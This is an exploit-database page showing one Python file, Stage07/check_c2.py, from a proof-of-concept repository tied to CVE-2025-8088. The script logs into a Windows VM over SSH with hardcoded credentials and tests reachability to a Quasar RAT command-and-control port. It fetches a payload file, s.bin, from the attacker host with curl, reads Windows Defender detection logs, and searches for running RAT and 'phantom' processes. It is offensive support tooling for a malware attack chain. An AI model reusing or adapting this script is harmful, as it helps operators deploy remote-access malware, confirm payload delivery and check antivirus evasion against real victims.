Exploit database

GH-9d8bf7b89f407a0fff790750df76b5d3

lewis-ricardo/amaranth-project

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-8088

19 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files46
lewis-ricardo/amaranth-projectRevision 0a4aa5d06cfd

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

Stage07/check_c2.py

Python · 2,166 bytes
import paramiko, time, socket
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect('192.168.30.136', username='lewis', password='lewis123', timeout=10)

# 1. Can VM reach host:4782?
print("=== Reachability test ===")
cmds = [
    'ping -n 1 192.168.30.1',
    'powershell -NoP -C "(Test-NetConnection 192.168.30.1 -Port 4782).TcpTestSucceeded"',
    'curl http://192.168.30.1:8080/s.bin -o nul -s -w "HTTP: %%{http_code}"',
    'netstat -an | findstr 4782',
]
for cmd in cmds:
    i,o,e = ssh.exec_command(cmd, timeout=10)
    out = o.read().decode(errors='replace').strip()
    err = e.read().decode(errors='replace').strip()
    try:
        print(f"  {cmd[:60]}: {out[:200]}")
    except UnicodeEncodeError:
        print(f"  {cmd[:60]}: {out.encode('ascii', errors='replace').decode('ascii')[:200]}")

# 2. Defender logs (Malware detections)
print("\n=== DEFENDER DETECTIONS ===")
i,o,e = ssh.exec_command(
    'wevtutil qe "Microsoft-Windows-Windows Defender/Operational" /c:30 /rd:true /f:text 2>nul',
    timeout=15)
logs = o.read().decode(errors='replace')
for line in logs.splitlines():
    if any(kw in line.lower() for kw in ['threat', 'detect', 'file:', 'action:', 'id=', 'name:']):
        try:
            print(f"  {line.strip()[:300]}")
        except:
            pass

# 3. Check if Quasar process is running on VM
print("\n=== QUASAR PROCESS ON VM ===")
i,o,e = ssh.exec_command('tasklist /fi "PID ge 0" /fo csv 2>nul | findstr /i "quasar client"', timeout=5)
for l in o.read().decode(errors='replace').splitlines():
    if l.strip(): print(f"  {l.strip()}")

# 4. Check all phantom processes
print("\n=== PHANTOM PROCESSES ===")
i,o,e = ssh.exec_command('tasklist /fi "PID ge 0" /fo csv 2>nul | findstr /i "phantom srvinit"', timeout=5)
for l in o.read().decode(errors='replace').splitlines():
    if l.strip(): print(f"  {l.strip()}")

# 5. Check all services with port 4782
print("\n=== ALL CONNECTIONS ===")
i,o,e = ssh.exec_command('netstat -an | findstr "4782 8080"', timeout=5)
for l in o.read().decode(errors='replace').splitlines():
    if l.strip(): print(f"  {l.strip()[:200]}")

ssh.close()